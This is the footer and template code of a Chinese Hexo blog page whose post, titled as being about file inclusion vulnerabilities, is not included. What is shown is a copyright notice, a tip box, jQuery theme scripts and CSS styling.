    <span class="copy-title">原始链接:</span><a class="post-url" href="/2020/03/04/web%E5%AE%89%E5%85%A8%E4%B9%8B%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB%E6%BC%8F%E6%B4%9E/" title="web安全之文件包含漏洞">http://daoxiaom.gitee.io/2020/03/04/web%E5%AE%89%E5%85%A8%E4%B9%8B%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB%E6%BC%8F%E6%B4%9E/</a>
    <p>
        <span class="copy-title">版权声明:</span><i class="fa fa-creative-commons"></i> <a rel="license noopener" href="http://creativecommons.org/licenses/by-nc-sa/4.0/" target="_blank" title="CC BY-NC-SA 4.0 International" target = "_blank">"署名-非商用-相同方式共享 4.0"</a> 转载请保留原文链接及作者。
    </p>
</div>





    




    </div>
    <div class="copyright">
        <p class="footer-entry">©2020-2023 Ysh</p>
<p class="footer-entry">Built with <a href="https://hexo.io/" target="_blank">Hexo</a> and <a href="https://github.com/yelog/hexo-theme-3-hexo" target="_blank">3-hexo</a> theme</p>

    </div>
    <div class="full-toc">
        <button class="full"><span class="min "></span></button>
<button class="post-toc-menu"><span class="post-toc-menu-icons"></span></button>
<div class="post-toc"><span class="post-toc-title">目录</span>
    <div class="post-toc-content">

    </div>
</div>
<a class="" id="rocket" ></a>

    </div>
</div>
<div class="acParent"></div>

<div class="hide_box" onclick="dashangToggle()"></div>
<div class="shang_box">
    <a class="shang_close"  onclick="dashangToggle()">×</a>
    <div class="shang_tit">
        <p>喜欢就点赞,疼爱就打赏</p>
    </div>
    <div class="shang_payimg">
        <div class="pay_img">
            <img src="/img/alipay.jpg" class="alipay" title="扫码支持">
            <img src="/img/weixin.jpg" class="weixin" title="扫码支持">
        </div>
    </div>
    <div class="shang_payselect">
        <span><label><input type="radio" name="pay" checked value="alipay">支付宝</label></span><span><label><input type="radio" name="pay" value="weixin">微信</label></span>
    </div>
</div>


</body>
<script src="/js/jquery.pjax.js?v=1.0.1" ></script>

<script src="/js/script.js?v=1.0.1" ></script>
<script>
    var img_resize = 'default';
    /*作者、标签的自动补全*/
    $(function () {
        $('.search').AutoComplete({
            'data': ['#web安全','#文件上传',],
            'itemHeight': 20,
            'width': 418
        }).AutoComplete('show');
    })
    function initArticle() {
        /*渲染对应的表格样式*/
        
            $(".post .pjax table").addClass("green_title");
        

        /*渲染打赏样式*/
        
        $("input[name=pay]").on("click", function () {
            if($("input[name=pay]:checked").val()=="weixin"){
                $(".shang_box .shang_payimg .pay_img").addClass("weixin_img");
            } else {
                $(".shang_box .shang_payimg .pay_img").removeClass("weixin_img");
            }
        })
        

        /*高亮代码块行号*/
        
        $('pre code').each(function(){
            var lines = $(this).text().split('\n').length - 1, widther='';
            if (lines>99) {
                widther = 'widther'
            }
            var $numbering = $('<ul/>').addClass('pre-numbering ' + widther).attr("unselectable","on");
            $(this).addClass('has-numbering ' + widther)
                    .parent()
                    .append($numbering);
            for(var i=1;i<=lines;i++){
                $numbering.append($('<li/>').text(i));
            }
        });
        

        /*访问数量*/
        
        $.getScript("//busuanzi.ibruce.info/busuanzi/2.3/busuanzi.pure.mini.js");
        

        /*代码高亮，行号对齐*/
        $('.pre-numbering').css('line-height',$('.has-numbering').css('line-height'));

        
        
    }

    /*打赏页面隐藏与展示*/
    
    function dashangToggle() {
        $(".shang_box").fadeToggle();
        $(".hide_box").fadeToggle();
    }
    

</script>

<!--加入行号的高亮代码块样式-->

<style>
    pre{
        position: relative;
        margin-bottom: 24px;
        border-radius: 10px;
        border: 1px solid #e2dede;
        background: #FFF;
        overflow: hidden;
    }
    code.has-numbering{
        margin-left: 30px;
    }
    code.has-numbering.widther{
        margin-left: 35px;
    }
    .pre-numbering{
        margin: 0px;
        position: absolute;
        top: 0;
        left: 0;
        width: 20px;
        padding: 0.5em 3px 0.7em 5px;
        border-right: 1px solid #C3CCD0;
        text-align: right;
        color: #AAA;
        background-color: #fafafa;
    }
    .pre-numbering.widther {
        width: 35px;
    }
</style>

<!--自定义样式设置-->
<style>
    
    
    .nav {
        width: 542px;
    }
    .nav.fullscreen {
        margin-left: -542px;
    }
    .nav-left {
        width: 120px;
    }
    
    
    @media screen and (max-width: 1468px) {
        .nav {
            width: 492px;
        }
        .nav.fullscreen {
            margin-left: -492px;
        }
        .nav-left {
            width: 100px;
        }
    }
    
    
    @media screen and (max-width: 1024px) {
        .nav {
            width: 492px;
            margin-left: -492px
        }
        .nav.fullscreen {
            margin-left: 0;
        }
        .nav .hide-list.fullscreen {
            left: 492px
        }
    }
    
    @media screen and (max-width: 426px) {
        .nav {
            width: 100%;
        }
        .nav-left {
            width: 100%;
        }
    }
    
    
    .nav-right .title-list nav a .post-title, .nav-right .title-list #local-search-result a .post-title {
        color: #383636;
    }
    
    
    .nav-right .title-list nav a .post-date, .nav-right .title-list #local-search-result a .post-date {
        color: #5e5e5f;
    }
    
    
    .nav-right nav a.hover, #local-search-result a.hover{
        background-color: #e2e0e0;
    }
    
    

    /*列表样式*/
    
    .post .pjax article .article-entry>ol, .post .pjax article .article-entry>ul, .post .pjax article>ol, .post .pjax article>ul{
        border: #e2dede solid 1px;
        border-radius: 10px;
        padding: 10px 32px 10px 56px;
    }
    .post .pjax article .article-entry li>ol, .post .pjax article .article-entry li>ul,.post .pjax article li>ol, .post .pjax article li>ul{
        padding-top: 5px;
        padding-bottom: 5px;
    }
    .post .pjax article .article-entry>ol>li, .post .pjax article .article-entry>ul>li,.post .pjax article>ol>li, .post .pjax article>ul>li{
        margin-bottom: auto;
        margin-left: auto;
    }
    .post .pjax article .article-entry li>ol>li, .post .pjax article .article-entry li>ul>li,.post .pjax article li>ol>li, .post .pjax article li>ul>li{
        margin-bottom: auto;
        margin-left: auto;
    }
    

    /* 背景图样式 */
    
    


    /*引用块样式*/
    

    /*文章列表背景图*/
    
    .nav-right:before {
        content: ' ';
        display: block;
        position: absolute;
        left: 0;
        top: 0;
        width: 100%;
        height: 100%;
        opacity: 0.3;
        background: url("https://i.loli.net/2020/03/04/DptKv68YejglLaW.jpg");
        background-repeat: no-repeat;
        background-position: 50% 0;
        -ms-background-size: cover;
        -o-background-size: cover;
        -moz-background-size: cover;
        -webkit-background-size: cover;
        background-size: cover;
    }
    

    
</style>







</html>
